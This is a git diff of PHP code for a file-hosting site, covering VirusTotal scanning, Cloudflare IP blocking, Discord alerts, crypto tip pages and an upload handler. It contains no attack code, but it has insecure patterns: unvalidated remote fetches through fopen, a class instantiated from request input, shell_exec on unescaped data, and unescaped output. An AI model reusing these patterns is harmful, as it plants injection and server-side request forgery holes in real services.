$bnd_id = "---------------------------735323031399963166993862150";
$post_data = "--$bnd_id\r\nContent-Disposition: form-data; name='apikey'\r\n\r\n" . _VIRUSTOTAL_KEY . "\r\n--$bnd_id\r\nContent-Disposition: form-data; name='file'; filename='binary'\r\nContent-Type: application/octet-stream\r\n\r\n" . stream_get_contents($res) . "\r\n--$bnd_id--";
$options = array(
CURLOPT_URL => "https://www.virustotal.com/vtapi/v2/file/scan",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "gzip,deflate",
CURLOPT_USERAGENT => "gzip, void.cat virus check",
CURLOPT_VERBOSE => true,
CURLOPT_HTTPHEADER => array(
"Content-Type: multipart/form-data; boundary=$bnd_id"
),
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data
);
curl_setopt_array($ch, $options);
$result = curl_exec($ch);
$status_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if($status_code != 200) {
return json_encode(array('response_code' => 0, 'verbose_msg' => 'Error, got status code: ' . $status_code), true);
} else {
return json_decode($result, true);
}
}
function CheckVirusTotalCached($redis, $h256) {
$vr = $redis->get("VC:VT:" . $h256);
if($vr != FALSE) {
return json_decode($vr);
}else {
$vtr = CheckVirusTotal($h256);
if($vtr["response_code"] == 1 && $vtr["positives"] > 0) {
$redis->set("VC:VT:" . $h256, json_encode($vtr));
} else {
$redis->setEx("VC:VT:" . $h256, 60 * 60 * 24, json_encode($vtr));
}
return $vtr;
}
}
function AddFirewallRule($ip) {
$post = array(
'mode' => 'challenge',
'configuration' => array(
'target' => 'ip',
'value' => $ip
),
'notes' => 'blocked by: ' . $_SERVER['SERVER_NAME']
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://api.cloudflare.com/client/v4/zones/' . _CLOUDFLARE_ZONE . '/firewall/access_rules/rules');
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER ,true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'X-Auth-Email: ' . _CLOUDFLARE_API_EMAIL,
'X-Auth-Key: ' . _CLOUDFLARE_API_KEY
));
$result = curl_exec ($ch);
curl_close ($ch);
$cfr = json_decode($result, true);
if($cfr['success'] == True){
send_discord_msg(array("content" => "[IP BLOCKED] " . $ip));
}else {
send_discord_msg(array("content" => "[IP BLOCK ERROR] " . $ip . "\n```json\n" . $result . "\n```"));
}
return $cfr;
}
?>

16
src/php/handler.php Normal file
View File

@ -0,0 +1,16 @@
<?php
//Startup
Config::LoadConfig();
StaticRedis::Connect();
Db::Connect();
if(isset($_REQUEST["h"])) {
$hf = $_REQUEST["h"];
if(file_exists($h)){
$hc = new $hf();
if($hc instanceof RequestHandler){
$hc->HandleRequest();
}
}
}
?>

View File

@ -1,6 +0,0 @@
<?php
include("config.php");
header("Content-Type: text/json");
echo json_encode(array("result" => file_exists(_FILEPATH . $_GET["hash"])));
?>

View File

@ -1,101 +0,0 @@
<!doctype html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title> Tip! </title>
<style>
html, body {
padding: 0;
margin: 0;
font-family: Arial;
font-size: 12px;
}
div.body {
width: 720px;
margin-left: auto;
margin-right: auto;
margin-top: 10px;
border-radius: 10px;
border: 1px solid #888;
overflow:hidden;
padding: 10px;
}
div.body pre {
word-wrap: break-word;
margin: 10px;
padding: 10px;
border: 1px solid #aaa;
border-radius: 3px;
background-color: #eee;
white-space: normal;
}
div.body img.qr {
width: 300px;
margin-left: auto;
margin-right: auto;
display: block;
}
@media screen and (max-width: 720px) {
html, body {
font-size: 20px;
}
div.body {
width: auto;
margin: 0;
}
div.body img.qr {
width: 100%;
}
}
</style>
</head>
<body>
<div class="body">
<?php
include_once("config.php");
include_once("functions.php");
if(!isset($_GET["label"])) {
$id = uniqid();
$inv = ln_query("invoice", array("any", $id, "void.cat tip"));
if(isset($inv->result)) {
header("location: /src/php/lightning-tip.php?label=" . $id);
} else {
echo "<pre>" . json_encode($inv) . "</pre>";
}
} else {
$id = $_GET["label"];
$node = ln_query("getinfo", array());
$inv = ln_query("listinvoices", array($id));
if(isset($inv->result) && isset($inv->result->invoices[0])) {
$i = $inv->result->invoices[0];
$n = $node->result;
echo "<pre>" . $n->id . "@" . $n->address[0]->address . ":" . $n->address[0]->port . "</pre>";
echo "<pre>" . $i->bolt11 . "</pre>";
$fn = "/tmp/" . $id . ".png";
if(!file_exists($fn)) {
$cmd = "/usr/local/bin/myqr lightning:" . $i->bolt11 . " -n " . $id . ".png -c -d /tmp/ 2>&1";
$qr = shell_exec($cmd);
}
$img_b64 = base64_encode(file_get_contents($fn));
echo "<img class=\"qr\" src=\"data:image/png;base64," . $img_b64 . "\"/>";
} else {
echo "<pre>" . json_encode($inv) . "</pre>";
}
}
?>
</div>
</body>
</html>

12
src/php/redis.php Normal file
View File

@ -0,0 +1,12 @@
<?php
class StaticRedis {
public static $Instance = NULL;
public static function Connect(){
$cfg = Config::$Instance;
self::$Instance = new Redis();
return self::$Instance->pconnect($cfg->redis);
}
}
?>

View File

@ -0,0 +1,5 @@
<?php
interface RequestHandler {
public function HandleRequest();
}
?>

View File

@ -1,65 +0,0 @@
<?php
include_once("config.php");
include_once("functions.php");
$tips = ln_query("listinvoices", array())->result;
$sp = GetBTCPrice();
?>
<!doctype html>
<html>
<head>
<title>Tip List</title>
<style>
html, body {
margin: 0;
padding: 0;
font-family: Arial;
font-size: 14px;
}
table {
border-collapse: collapse;
}
th,td {
border: 1px solid #333;
padding: 5px;
}
</style>
</head>
<body>
<h3>BTC price: $<?php echo $sp; ?></h3>
<table>
<thead>
<tr>
<th>id</th>
<th>msatoshi</th>
<th>USD</th>
<th>status</th>
<th>paid</th>
</tr>
</thead>
<tbody>
<?php
$total = 0;
foreach($tips->invoices as $inv)
{
$col = "";
switch($inv->status) {
case "paid": $col = "#00ff00"; break;
case "unpaid": $col = "#ffb100"; break;
}
$val = isset($inv->msatoshi_received) ? $inv->msatoshi_received : 0;
if($inv->status === "paid") {
$total += $val;
}
echo "<tr style=\"background-color: " . $col . ";\"><td>" . $inv->label . "</td><td>" . number_format($val, 8) . "</td><td>" . number_format($val * $sp * MSAT, 4) . "</td><td>" . $inv->status . "</td><td>" . (isset($inv->paid_at) ? date('Y/m/d H:i:s', $inv->paid_at) : "") . "</td></tr>";
}
?>
</tbody>
</table>
<?php echo "<h3>Total: $" . number_format($total * $sp * MSAT, 4) . " (BTC " . number_format($total * MSAT, 8) . ")</h3>"; ?>
</body>
</html>

View File

@ -1,104 +0,0 @@
<?php
include_once("config.php");
include_once("functions.php");
$uri_format = array(
"BTC" => "bitcoin:%s",
"BCH" => "bitcoincash:%s",
"BTG" => "bitcoingold:%s",
"DASH" => "dash:%s",
"LTC" => "litecoin:%s",
"ZEC" => "zcash:%s",
"ETH" => "ethereum:%s",
"EOS" => "ethereum:%s",
"TRX" => "ethereum:%s",
"ETC" => "ethereum:%s&id=61",
"XEM" => "nem:%s"
);
$redis = new Redis();
$redis->pconnect(_REDIS_SERVER);
$inf = array();
$inf_cache = $redis->get("tip_info_cache");
if($inf_cache == false) {
$inf = GetAllAddrInfo(_TIP_ADDRS);
$redis->setEx("tip_info_cache", 3600, json_encode($inf));
}else{
$inf = json_decode($inf_cache);
}
?>
<!doctype html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Tips</title>
<style>
html, body {
padding: 0;
margin: 0;
font-family: Arial;
font-size: 12px;
}
div.body {
width: 720px;
margin-left: auto;
margin-right: auto;
margin-top: 10px;
border-radius: 10px;
border: 1px solid #888;
overflow:hidden;
padding: 10px;
}
div.body div.tip-row {
margin-top: 10px;
overflow: hidden;
padding: 10px;
background-color: #ccc;
border-radius: 3px;
border: 1px solid #555;
line-height: 24px;
}
div.body div.tip-row img {
float: left;
height: 24px;
margin-right: 10px;
}
div.body div.tip-row div {
float: left;
}
div.body div.tip-row div.bal {
float: right;
}
@media screen and (max-width: 720px) {
div.body {
width: auto;
margin: 0;
}
div.body div.tip-row div.bal {
display: none;
}
}
</style>
</head>
<body>
<div class="body">
<p>Tips help me get drunk, please consider tipping if you like the service I am currenly paying all the server bills myself.</p>
<?php
foreach($inf as $addr)
{
$addr_name = (isset($uri_format[strtoupper($addr->currency)]) ? ("<a href=\"" . sprintf($uri_format[$addr->currency], $addr->address) . "\">" . $addr->address . "</a>") : $addr->address);
echo "<div class=\"tip-row\"><img src=\"/src/img/" . strtolower($addr->currency) . ".png\"/><div class=\"addr\">" . $addr_name . "</div><div class=\"bal\">" . strtoupper($addr->currency) . " " . number_format($addr->balance, 8) . "</div></div>";
}
?>
</div>
</body>
</html>

15
src/php/tracking.php Normal file
View File

@ -0,0 +1,15 @@
<?php
class TrackingEvent {
}
class Tracking {
public static function CreateEventFromDownload(){
return new TrackingEvent();
}
public function TrackDownload($ev) {
}
}
?>

View File

@ -1,181 +0,0 @@
<?php
include_once('db.php');
include_once("functions.php");
set_time_limit(1200);
$response = array(
"status" => 0,
"msg" => null,
"hash" => null,
"publichash" => null,
"link" => null,
"mime" => null,
"filename" => null,
"upload" => json_encode($_FILES)
);
$isMultipart = strpos($_SERVER['CONTENT_TYPE'], 'multipart/form-data') !== False;
//check input size is large enough
$maxsizeM = ini_get('post_max_size');
$maxsize = (int)(str_replace('M', '', $maxsizeM) * 1024 * 1024);
$fsize = $isMultipart ? $_FILES['files']['size'][0] : (int)$_SERVER['CONTENT_LENGTH'];
$mime = $isMultipart ? $_FILES['files']['type'][0] : (strlen($_SERVER['CONTENT_TYPE']) > 0 ? $_SERVER['CONTENT_TYPE'] : _DEFAULT_TYPE);
$fname = $isMultipart ? $_FILES['files']['name'][0] : $_GET["filename"];
if($fsize > $maxsize)
{
$response["msg"] = "File too big";
}
else
{
$tmpf = 0;
if ($isMultipart === False)
{
$source = isset($_GET["remote"]) ? $_GET["remote"] : "php://input";
$rawf = fopen($source, 'rb');
if(isset($_GET["remote"])){
$meta_data = stream_get_meta_data($rawf);
foreach($meta_data["wrapper_data"] as $hd){
if(strpos($hd, "Content-Type") === 0){
$nt = explode(": ", $hd);
$mime = $nt[1];
if(strpos($mime, ";") > 0){
$ms = explode(";", $mime);
$mime = $ms[0];
}
}else if(strpos($hd, "Content-Disposition") === 0){
$nn = explode("filename=", $hd);
$fname = str_replace("\"", "", $nn[1]);
}
}
if($fname == "remote"){
//parse url if no content-disposition is set
preg_match('@^.*\/(.*\.[a-zA-Z0-9]{0,4})@i', $_GET["remote"], $matches);
if(count($matches) > 0){
$fname = $matches[1];
}
}
}
$tmpf = fopen("php://temp", 'rb+');
stream_copy_to_stream($rawf, $tmpf);
rewind($tmpf);
fclose($rawf);
}
else
{
$f = $_FILES['files'];
$tmpf = fopen($f['tmp_name'][0], 'rb');
}
//Connect to db
$db = new DB();
//get file hash
$hc = hash_init('sha256');
hash_update_stream($hc, $tmpf);
$fh = hash_final($hc);
$response["hash"] = $fh;
rewind($tmpf);
$response["filename"] = $fname;
//check for dupes
$f_e = $db->Exists256($fh);
if($f_e->hash160 != NULL)
{
//file already exists
$response["status"] = 200;
$response["publichash"] = $f_e->hash160;
$response["link"] = _SITEURL . $f_e->hash160;
$response["mime"] = $f_e->mime;
if($isMultipart) {
$response["success"] = true;
$response["files"] = array(array("url" => $response["link"]));
}
}
else
{
/*
//file does not exist
//check clamav
include_once('clamav.php');
$sr = ScanStream($tmpf, $fsize);
if($sr !== "stream: OK"){
$discord_data = array("content" => $sr);
include("discord.php");
}else{
$response["clamav"] = $sr;
}*/
//check with VT (max upload is 32MB)
/*if($fsize < 32 * 1000 * 1000) {
$redis = new Redis();
$redis->pconnect(_REDIS_SERVER);
include_once('virustotal.php');
$vtr = CheckVirusTotalCached($redis, $fh);
if($vtr != null && isset($vtr->response_code) && $vtr->response_code == 0) {
$sr = ScanFile($tmpf);
$discord_data = array("content" => $sr->verbose_msg);
include("discord.php");
}
}*/
//generate public hash
$phc = hash_init(_PUB_HASH);
hash_update($phc, $fh);
$ph = hash_final($phc);
$response["publichash"] = $ph;
//save to disk
$op = _FILEPATH . $ph;
$fo = fopen($op, 'wb+');
if($fo !== False){
//save to db
$f_e = new FileUpload();
$f_e->hash160 = $ph;
$f_e->hash256 = $fh;
$f_e->mime = $mime;
$f_e->size = $fsize;
$f_e->path = $op;
$f_e->filename = $fname;
if($db->InsertFile($f_e)) {
stream_copy_to_stream($tmpf, $fo);
fclose($fo);
$discord_data = array("content" => _SITEURL . '#' . $f_e->hash160);
send_discord_msg($discord_data);
$response["status"] = 200;
$response["link"] = _SITEURL . $f_e->hash160;
$response["mime"] = $mime;
if($isMultipart) {
$response["success"] = true;
$response["files"] = array(array("url" => $response["link"]));
}
} else {
$response["status"] = 500;
$response["msg"] = "Server error!";
}
} else {
$response["status"] = 500;
$response["msg"] = "Server error!";
}
}
//close streams
fclose($tmpf);
}
//return response
header('Content-Type: application/json');
echo json_encode($response);
?>